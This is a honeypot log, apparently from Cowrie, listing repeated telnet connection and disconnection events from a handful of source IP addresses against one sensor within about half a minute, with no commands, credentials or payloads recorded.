{"eventid":"cowrie.session.closed","duration":38.5999481678009,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:55.907882Z","src_ip":"159.203.13.64","session":"bba9ae59e613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976125478744507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:57.289089Z","src_ip":"152.53.125.71","session":"3576808c2b1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":39596,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c059297199","protocol":"telnet","message":"New connection: 169.38.112.222:39596 (10.17.0.5:23) [session: 77c059297199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:57.571859Z"}
{"eventid":"cowrie.session.closed","duration":30.90532636642456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:58.180137Z","src_ip":"152.53.125.71","session":"1e53357ab9aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832019329071045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:58.204796Z","src_ip":"152.53.125.71","session":"126c3d507137","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37342,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f72f80478fd","protocol":"telnet","message":"New connection: 152.53.125.71:37342 (10.17.0.5:23) [session: 3f72f80478fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:58.546767Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37344,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c77b24b918b","protocol":"telnet","message":"New connection: 152.53.125.71:37344 (10.17.0.5:23) [session: 8c77b24b918b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:10:59.861004Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":35378,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf935d6de92","protocol":"telnet","message":"New connection: 159.203.13.64:35378 (10.17.0.5:23) [session: dbf935d6de92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:00.418083Z"}
{"eventid":"cowrie.session.closed","duration":31.582148790359497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:00.926240Z","src_ip":"152.53.125.71","session":"6df8f123c49d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37352,"dst_ip":"10.17.0.5","dst_port":23,"session":"d16b8a2e80ae","protocol":"telnet","message":"New connection: 152.53.125.71:37352 (10.17.0.5:23) [session: d16b8a2e80ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:01.665054Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36112,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea09033b7982","protocol":"telnet","message":"New connection: 159.203.13.64:36112 (10.17.0.5:23) [session: ea09033b7982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:02.422902Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37358,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fcb8a84caed","protocol":"telnet","message":"New connection: 152.53.125.71:37358 (10.17.0.5:23) [session: 5fcb8a84caed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:02.627073Z"}
{"eventid":"cowrie.session.closed","duration":0.46393465995788574,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:02.886702Z","src_ip":"159.203.13.64","session":"ea09033b7982","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37364,"dst_ip":"10.17.0.5","dst_port":23,"session":"20d3d35e1fb2","protocol":"telnet","message":"New connection: 152.53.125.71:37364 (10.17.0.5:23) [session: 20d3d35e1fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:04.251093Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37370,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed4691f4591d","protocol":"telnet","message":"New connection: 152.53.125.71:37370 (10.17.0.5:23) [session: ed4691f4591d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:04.281735Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37384,"dst_ip":"10.17.0.5","dst_port":23,"session":"33fa28bf971e","protocol":"telnet","message":"New connection: 152.53.125.71:37384 (10.17.0.5:23) [session: 33fa28bf971e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:04.434257Z"}
{"eventid":"cowrie.session.closed","duration":35.47601819038391,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:04.498248Z","src_ip":"162.253.42.116","session":"8fcec33fe2d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37388,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3ec21e0dec4","protocol":"telnet","message":"New connection: 152.53.125.71:37388 (10.17.0.5:23) [session: f3ec21e0dec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:04.658047Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36122,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c1e5501d32b","protocol":"telnet","message":"New connection: 159.203.13.64:36122 (10.17.0.5:23) [session: 5c1e5501d32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:04.774804Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39544,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e56d6335fb5","protocol":"telnet","message":"New connection: 152.53.125.71:39544 (10.17.0.5:23) [session: 0e56d6335fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:05.229805Z"}
{"eventid":"cowrie.session.closed","duration":31.303388833999634,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:05.360718Z","src_ip":"152.53.125.71","session":"096e24bc5e97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39560,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d0baf8dd194","protocol":"telnet","message":"New connection: 152.53.125.71:39560 (10.17.0.5:23) [session: 3d0baf8dd194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:06.394947Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39572,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5e515d0111","protocol":"telnet","message":"New connection: 152.53.125.71:39572 (10.17.0.5:23) [session: bd5e515d0111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:06.590699Z"}
{"eventid":"cowrie.session.closed","duration":31.065410137176514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:06.825726Z","src_ip":"152.53.125.71","session":"2e06946ab9a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80786919593811,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:07.074076Z","src_ip":"152.53.125.71","session":"338ecff323d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5019690990448,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:07.190577Z","src_ip":"152.53.125.71","session":"21aff7fa4594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39588,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5902b71cfe2","protocol":"telnet","message":"New connection: 152.53.125.71:39588 (10.17.0.5:23) [session: d5902b71cfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:07.433923Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":36130,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c45a854c3c0","protocol":"telnet","message":"New connection: 159.203.13.64:36130 (10.17.0.5:23) [session: 5c45a854c3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:07.442129Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39598,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4089c572320","protocol":"telnet","message":"New connection: 152.53.125.71:39598 (10.17.0.5:23) [session: e4089c572320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:08.550888Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39608,"dst_ip":"10.17.0.5","dst_port":23,"session":"561056574c61","protocol":"telnet","message":"New connection: 152.53.125.71:39608 (10.17.0.5:23) [session: 561056574c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:09.320404Z"}
{"eventid":"cowrie.session.closed","duration":30.65292739868164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:09.326745Z","src_ip":"152.53.125.71","session":"351af32012ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931910514831543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:10.320418Z","src_ip":"152.53.125.71","session":"3bd744c363b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42960,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b6c25753f09","protocol":"telnet","message":"New connection: 169.38.112.222:42960 (10.17.0.5:23) [session: 7b6c25753f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:12.053774Z"}
{"eventid":"cowrie.session.closed","duration":30.819512367248535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:12.386530Z","src_ip":"152.53.125.71","session":"47b062fa2496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.97009325027466,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:12.972995Z","src_ip":"159.203.13.64","session":"67e08dbe618f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39624,"dst_ip":"10.17.0.5","dst_port":23,"session":"40fb19bf9de3","protocol":"telnet","message":"New connection: 152.53.125.71:39624 (10.17.0.5:23) [session: 40fb19bf9de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:13.365500Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39634,"dst_ip":"10.17.0.5","dst_port":23,"session":"83849e358dd5","protocol":"telnet","message":"New connection: 152.53.125.71:39634 (10.17.0.5:23) [session: 83849e358dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:13.415538Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39642,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddba009556a6","protocol":"telnet","message":"New connection: 152.53.125.71:39642 (10.17.0.5:23) [session: ddba009556a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:13.495838Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39654,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c85f330a04c","protocol":"telnet","message":"New connection: 152.53.125.71:39654 (10.17.0.5:23) [session: 9c85f330a04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:13.550274Z"}
{"eventid":"cowrie.session.closed","duration":38.322826623916626,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:14.005462Z","src_ip":"159.203.13.64","session":"ec023b83ae78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39662,"dst_ip":"10.17.0.5","dst_port":23,"session":"117de8bdedce","protocol":"telnet","message":"New connection: 152.53.125.71:39662 (10.17.0.5:23) [session: 117de8bdedce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:14.471391Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":42966,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dd0affe6aa9","protocol":"telnet","message":"New connection: 169.38.112.222:42966 (10.17.0.5:23) [session: 8dd0affe6aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:14.548481Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":39672,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0af0335759","protocol":"telnet","message":"New connection: 152.53.125.71:39672 (10.17.0.5:23) [session: bb0af0335759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:14.689899Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44258,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d194529e52","protocol":"telnet","message":"New connection: 159.203.13.64:44258 (10.17.0.5:23) [session: 28d194529e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:15.451018Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44274,"dst_ip":"10.17.0.5","dst_port":23,"session":"539d9b364962","protocol":"telnet","message":"New connection: 159.203.13.64:44274 (10.17.0.5:23) [session: 539d9b364962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:15.632032Z"}
{"eventid":"cowrie.session.closed","duration":30.93537950515747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:16.422228Z","src_ip":"152.53.125.71","session":"15eda00133f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75494623184204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:17.340318Z","src_ip":"152.53.125.71","session":"42389e2b21c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":50266,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a5b07524c3","protocol":"telnet","message":"New connection: 169.38.112.222:50266 (10.17.0.5:23) [session: 57a5b07524c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:17.380448Z"}
{"eventid":"cowrie.session.closed","duration":30.716649293899536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:18.165773Z","src_ip":"152.53.125.71","session":"e191deca8801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001516580581665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:18.372311Z","src_ip":"152.53.125.71","session":"4dd7dbfd9fb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35326,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcbdd8831340","protocol":"telnet","message":"New connection: 152.53.125.71:35326 (10.17.0.5:23) [session: dcbdd8831340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:18.378743Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":50280,"dst_ip":"10.17.0.5","dst_port":23,"session":"23d60461f22f","protocol":"telnet","message":"New connection: 169.38.112.222:50280 (10.17.0.5:23) [session: 23d60461f22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:18.548697Z"}
{"eventid":"cowrie.session.closed","duration":30.83735489845276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:19.356539Z","src_ip":"152.53.125.71","session":"6b28d94994e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35336,"dst_ip":"10.17.0.5","dst_port":23,"session":"386a9a809d21","protocol":"telnet","message":"New connection: 152.53.125.71:35336 (10.17.0.5:23) [session: 386a9a809d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:19.371676Z"}
{"eventid":"cowrie.session.closed","duration":30.734713792800903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:19.377242Z","src_ip":"152.53.125.71","session":"80eeceaa581c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":44280,"dst_ip":"10.17.0.5","dst_port":23,"session":"e778d5341585","protocol":"telnet","message":"New connection: 159.203.13.64:44280 (10.17.0.5:23) [session: e778d5341585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:19.497378Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35340,"dst_ip":"10.17.0.5","dst_port":23,"session":"0120228c2e8a","protocol":"telnet","message":"New connection: 152.53.125.71:35340 (10.17.0.5:23) [session: 0120228c2e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:19.788414Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35344,"dst_ip":"10.17.0.5","dst_port":23,"session":"4242ac71bbb6","protocol":"telnet","message":"New connection: 152.53.125.71:35344 (10.17.0.5:23) [session: 4242ac71bbb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:20.062151Z"}
{"eventid":"cowrie.session.closed","duration":30.845882177352905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:21.291961Z","src_ip":"152.53.125.71","session":"ef5385191097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.47754406929016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:21.434161Z","src_ip":"152.53.125.71","session":"ea4a005d3633","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668983221054077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:22.134274Z","src_ip":"152.53.125.71","session":"1f43a1e169bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81558394432068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:22.284905Z","src_ip":"152.53.125.71","session":"abd7e0176376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055147886276245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:22.355440Z","src_ip":"152.53.125.71","session":"5ccd88b39431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.620808601379395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:23.072519Z","src_ip":"152.53.125.71","session":"2890fdae3738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623292207717896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:23.078663Z","src_ip":"152.53.125.71","session":"c65996a5848d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":50290,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5819f30b038","protocol":"telnet","message":"New connection: 169.38.112.222:50290 (10.17.0.5:23) [session: f5819f30b038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:23.228492Z"}
{"eventid":"cowrie.session.closed","duration":31.244972229003906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:23.539757Z","src_ip":"152.53.125.71","session":"3e6e22b10006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35360,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8ba10469387","protocol":"telnet","message":"New connection: 152.53.125.71:35360 (10.17.0.5:23) [session: e8ba10469387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:24.386465Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35374,"dst_ip":"10.17.0.5","dst_port":23,"session":"13465cf25904","protocol":"telnet","message":"New connection: 152.53.125.71:35374 (10.17.0.5:23) [session: 13465cf25904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:24.400650Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":50302,"dst_ip":"10.17.0.5","dst_port":23,"session":"832ec1fcfab8","protocol":"telnet","message":"New connection: 169.38.112.222:50302 (10.17.0.5:23) [session: 832ec1fcfab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:24.563138Z"}
{"eventid":"cowrie.session.closed","duration":30.683316469192505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:25.057651Z","src_ip":"152.53.125.71","session":"33a44d6d5513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":48672,"dst_ip":"10.17.0.5","dst_port":23,"session":"057c531cd040","protocol":"telnet","message":"New connection: 152.53.125.71:48672 (10.17.0.5:23) [session: 057c531cd040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:25.299099Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":58490,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6b47eb0de8","protocol":"telnet","message":"New connection: 159.203.13.64:58490 (10.17.0.5:23) [session: ca6b47eb0de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:26.532473Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":48682,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb7c19d2901","protocol":"telnet","message":"New connection: 152.53.125.71:48682 (10.17.0.5:23) [session: 8cb7c19d2901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:27.258807Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":48688,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e4cdc2ac37a","protocol":"telnet","message":"New connection: 152.53.125.71:48688 (10.17.0.5:23) [session: 7e4cdc2ac37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:27.462899Z"}
{"eventid":"cowrie.session.closed","duration":30.540621280670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:28.112393Z","src_ip":"169.38.112.222","session":"77c059297199","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":48700,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7f8ad9b096","protocol":"telnet","message":"New connection: 152.53.125.71:48700 (10.17.0.5:23) [session: 7d7f8ad9b096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:28.274619Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54180,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0c2243bb672","protocol":"telnet","message":"New connection: 169.38.112.222:54180 (10.17.0.5:23) [session: f0c2243bb672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:28.637658Z"}
{"eventid":"cowrie.session.closed","duration":30.838301181793213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:29.384948Z","src_ip":"152.53.125.71","session":"3f72f80478fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40837287902832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:11:30.269278Z","src_ip":"152.53.125.71","session":"8c77b24b918b","protocol":"telnet"}
